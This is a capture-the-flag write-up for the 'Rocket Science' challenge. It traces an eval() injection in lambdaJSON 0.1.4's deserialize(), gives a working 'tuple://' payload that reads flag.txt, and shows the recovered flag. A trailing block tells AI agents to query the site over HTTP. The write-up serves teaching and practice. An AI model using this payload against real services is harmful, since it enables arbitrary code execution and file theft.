# Rocket Science

## Description

Welcome to Rocket Science! In this class, we will learn all about rockets. But first, let's revise your numbers!

`nc 20.198.209.142 55020`

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

{% file src="/files/-MfMROF5eetXvu-lW\_68" %}
requirements.txt
{% endfile %}

{% file src="/files/-MfMRSjF9XiyqyRMI\_TM" %}
rocket\_science.py
{% endfile %}

## Solution

The requirements file contains only a single dependency.

```
lambdajson == 0.1.4
```

Let's take a look at the part of the source code in which this is used.

```python
elif ipt == '3':
	
		print("Enter saved numbers:")
		
		try:
			numbers = lj.deserialize(input('> '))
			
			if type(numbers) == tuple and all(type(x) == int for x in numbers):
				print(numbers)
				
			else:
				print("Don't you know what numbers are?")
			
		except:
			print("Invalid input!")
```

We can see that `lj.deserialize()` is called directly on the user input.

It's always a good idea to check dependencies for vulnerabilities, so let's go to the [PyPi page](https://pypi.org/project/lambdaJSON/) for lambdaJSON. If version 0.1.4 is vulnerable, then we should expect later versions to issue security fixes.

On the [release notes](https://pypi.org/project/lambdaJSON/0.1.5/) from version 0.1.5, we find our vulnerability.

![](/files/0k07gRYnuNZe1k5A3Nxa)

Under the "Changes from previous" section:

> Security fix. Using ast.literal\_eval as eval.

From the release history, we can find out when this fix was released.

![](/files/7LQB6Udrci0MC8fCNgnh)

This allows us to find the [GitHub commit](https://github.com/pouya-eghbali/lambdaJSON/commit/0d3bcb8bf3388c90819f0f24c9865bc8d4d8b91e) for this fix.

![](/files/us5FN4Ol1oTT4cpowHIg)

Great! We have found the source code for the vulnerable version of the package. In the [source code](https://github.com/pouya-eghbali/lambdaJSON/blob/05d8d92916cdb9df20b83265c6ccd38d6b29d52b/lambdaJSON.py), we find that the `restore()` function used by `deserialize()` uses `eval()`!

```python
restore = lambda obj:          (isinstance(obj, str) 
                        and    (lambda x: x.startswith('bytes://') 
                        and    bytes(x[8:], encoding = 'utf8') 
                        or     x.startswith('int://') 
                        and    int(x[6:]) 
                        or     x.startswith('float://') 
                        and    float(x[8:])
                        or     x.startswith('long://') 
                        and    long(x[7:])
                        or     x.startswith('bool://') 
                        and    eval(x[7:]) 
                        or     x.startswith('complex://')
                        and    complex(x[10:])
                        or     x.startswith('tuple://') 
                        and    eval(x[8:]) or x)(obj) 
                        or     isinstance(obj, list) 
                        and    [restore(i) for i in obj] 
                        or     isinstance(obj, dict) 
                        and    {restore(i):restore(obj[i]) for i in obj} 
                        or     obj)

...

deserialize = lambda obj: restore(json.loads(obj))
```

Note that the deserialized output must be a tuple of integers.

```python
if type(numbers) == tuple and all(type(x) == int for x in numbers):
				print(numbers)
```

The vulnerable version of `deserialize()` will strip the starting `tuple://` and `eval()` the rest of the input string.

So, if we use the following payload:

```
"tuple://(int.from_bytes(open('flag.txt').read().encode(), byteorder='big'), 2)"
```

we will get the integer representation of the flag.

![](/files/R6mOG44i0UCqOclU9YWd)

The flag is `STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}`

```
➜  ~ python3
Python 3.9.5 (default, May  4 2021, 03:36:27)
[Clang 12.0.0 (clang-1200.0.32.29)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(3969309506657081582967368110556498469050796930805813227720771571473136717745745293677237528859886779701434271164439572744813346302117987974410)
b'STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}\n'
>>>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/my-challenges/standcon-ctf-2021/rocket-science.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
